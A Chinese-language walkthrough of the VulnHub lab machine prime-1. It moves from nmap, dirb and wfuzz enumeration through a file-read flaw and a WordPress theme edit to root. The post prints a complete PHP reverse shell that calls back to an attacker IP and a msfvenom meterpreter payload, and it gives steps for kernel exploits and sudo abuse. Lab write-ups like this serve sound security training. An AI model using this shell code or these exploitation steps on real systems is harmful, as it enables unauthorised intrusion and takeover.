1. 程式人生 > 其它 >滲透測試靶機 prime-1

滲透測試靶機 prime-1

滲透測試靶機 prime-1

下載映象:https://www.vulnhub.com/entry/prime-1,358/

從VMware開啟虛擬機器,prime-1如下圖

網路介面卡為NAT模式,可以直接點選右上角的圖示,獲取ip地址資訊,也可以使用nmap進行掃描

nmap -sP 192.168.87.1/24 (P:ping 、24:c類地址),虛擬網路編輯器中可以知道NAT模式的子網是多少

掃描埠,找到對應的服務資訊 ,nmap -p 1-65535 -A 192.168.87.152

可以知道只有22(ssh),80(http)埠開放

知道了ip,可以嘗試進行訪問,發現如下頁面

可以從此頁面收集一些有關資訊,如頁面原始碼、掃描目錄、cms指紋資訊、版本資訊等

御劍掃描目錄:

dirb掃描 (man dirb瞭解掃描的引數方法)

common.txt字典還不錯,可以下載到本地windows,(可以copy貼上到桌面,也可以使用sz file 檔名)

嘗試訪問/dev檔案,也可以curl x.x.x.x/dev

嘗試新增一些dirb引數,-X 指定一些關鍵字尾名:dirb http://192.168.87.152 -X .txt,.php,.zip

掃描到了3個檔案,可以嘗試訪問一下

fuzz模糊測試,測試一下php檔案引數

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.87.152/index.php?FUZZ

找不一樣的返回值,為正確值

過濾words單詞數為12的,--hw 12 (wfuzz -h )

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.87.152/index.php?FUZZ

知道引數為:index.php?file , 思考:是否存在檔案讀取漏洞?

根據前面得到的location.txt ,嘗試訪問:http://192.168.87.152/index.php?file=location.txt

獲得正確引數secrettier360,訪問:http://192.168.87.152/image.php?secrettier360

嘗試讀取敏感檔案資訊,如:/etc/passwd, http://192.168.87.152/image.php?secrettier360=/etc/passwd

發現提示資訊,password.txt 在/home/saket目錄下

利用檔案讀取,獲取密碼資訊

嘗試登入22號埠ssh服務,ssh -p 22 [email protected], 發現密碼不對

接著,往80埠的http服務wordpress方向進行

可以使用cmseek 掃描版本,也可以使用wpscan

wpscan --url http://192.168.87.152/wordpress/ --enumerate u

獲取到使用者名稱為victor,當然wordpress頁面也有,登入WordPress,使用者名稱:victor ,密碼:follow_the_ippsec

看能否找到可以寫入php程式碼的地方,上傳一句話木馬

找到了,但是出於考慮這裡用反彈shell的方式(因為不知道靶機的環境,如內網、防火牆、動態ip、防毒軟體)

可以找一些php反彈shell的程式碼,也可以用msf生成反彈shell的payload

`

點選檢視程式碼
<?php` 
`error_reporting (E_ERROR);`
`ignore_user_abort(true);`
`ini_set('max_execution_time',0);`
`$os = substr(PHP_OS,0,3);`
`$ipaddr = '192.168.87.128';`
`$port = '6666';`
`$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));`
`$cwd = getcwd();`
`$msg = php_uname()."\n------------Code by Spider-------------\n";`
`if($os == 'WIN') {`
    `$env = array('path' => 'c:\\windows\\system32');`
`} else {`
    `$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');`
`}`

`if(function_exists('fsockopen')) {`
    `$sock = fsockopen($ipaddr,$port);`
    `fwrite($sock,$msg);`
    `while ($cmd = fread($sock,1024)) {`
        `if (substr($cmd,0,3) == 'cd ') {`
            `$cwd = trim(substr($cmd,3,-1));`
            `chdir($cwd);`
            `$cwd = getcwd();`
        `}`
        `if (trim(strtolower($cmd)) == 'exit') {`
            `break;`
        `} else {`
            `$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
            `if (is_resource($process)) {`
                `fwrite($pipes[0],$cmd);`
                `fclose($pipes[0]);`
                `$msg = stream_get_contents($pipes[1]);`
                `fwrite($sock,$msg);`
                `fclose($pipes[1]);`
                `$msg = stream_get_contents($pipes[2]);`
                `fwrite($sock,$msg);`
                `fclose($pipes[2]);`
                `proc_close($process);`
            `}`
        `}`
    `}`
    `fclose($sock);`
`} else {`
    `$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);`
    `socket_connect($sock,$ipaddr,$port);`
    `socket_write($sock,$msg);`
    `fwrite($sock,$msg);`
    `while ($cmd = socket_read($sock,1024)) {`
        `if (substr($cmd,0,3) == 'cd ') {`
            `$cwd = trim(substr($cmd,3,-1));`
            `chdir($cwd);`
            `$cwd = getcwd();`
        `}`
        `if (trim(strtolower($cmd)) == 'exit') {`
            `break;`
        `} else {`
            `$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);`
            `if (is_resource($process)) {`
                `fwrite($pipes[0],$cmd);`
                `fclose($pipes[0]);`
                `$msg = stream_get_contents($pipes[1]);`
                `socket_write($sock,$msg,strlen($msg));`
                `fclose($pipes[1]);`
                `$msg = stream_get_contents($pipes[2]);`
                `socket_write($sock,$msg,strlen($msg));`
                `fclose($pipes[2]);`
                `proc_close($process);`
            `}`
        `}`
    `}`
    `socket_close($sock);`
`}`
`?>`
  • 用msf生成payload

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.87.128 lport=7777 -o shell.php

將shell.php的程式碼複製過來,Update File

啟動控制檯,msfconsole //banner,可以換每次啟動的圖形(( •̀ ω •́ )✧)

1.啟動監聽模組:use exploit/multi/handler

2.輸入php型別反彈連線:set payload php/meterpreter/reverse_tcp //和前面一致

3.指定監聽的主機和埠:set lhost 192.168.87.128 --> set lport 7777

4.開始監聽:exploit/run

下發指令,找到寫入程式碼的secret.php

訪問這一檔案:/wordpress/wp-content/themes/twentynineteen/secret.php

發現反彈成功

現在可以通過執行一些命令,獲取版本資訊,然後利用版本相對應的漏洞

getuid、sysinfo

Linux ubuntu 4.15.0-142-generic #146~16.04.1-Ubuntu

開啟msfconsole,搜尋系統版本漏洞,searchsploit 16.04 Ubuntu

如果版本是4.10 的話,則可以使用下面的方法,

將指令碼檔案複製到root目錄下,cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

編譯,gcc 45010.c -o 45010

在meterpreter視窗,cd /tmp

upload /root/45010 /tmp/45010

shell //進入shell視窗

chmod +x 45010 //新增可執行許可權

./45010 //執行

我的是4.15版本的,

  • 嘗試使用核心進行本地提權

background

back

use exploit/linux/local/bpf_sign_extension_priv_esc

set session 1

exploit

也是版本問題,執行不了

  • 通過執行enc進行提權

切換到shell,

執行:python -c 'import pty;pty.spawn("/bin/bash")'

sudo -l ,可以看到/home/saket/enc

執行 ./enc,發現需要密碼,一番搜尋後,找到了

cd opt/backup/server_database

cat backup_pass

因為許可權原因,用sudo執行enc,

sudo ./enc -->輸入密碼:backup_password

cat enc.txt、cat key.txt

根據提示,需要將ippsec用md5加密,然後當做金鑰用來解密enc.txt

用md5加密;https://www.cmd5.com/

然後對enc.txt的內容進行解密:https://www.devglan.com/online-tools/aes-encryption-decryption

將生成的資訊,用burpsuite base64解碼

得到使用者:saket ,密碼:tribute_to_ippsec

su saket,切換使用者,輸入密碼,執行sudo -l

然後根據提示資訊,sudo /home/victor/undefeated_victor

發現/tmp/challenge不存在,那麼可以切換到/tmp目錄下寫入 /bin/bash 進行提權

cd /tmp --> echo "bin/bash" > challenge

chmod +x challenge //加入可執行許可權

接下來,提權,獲得root許可權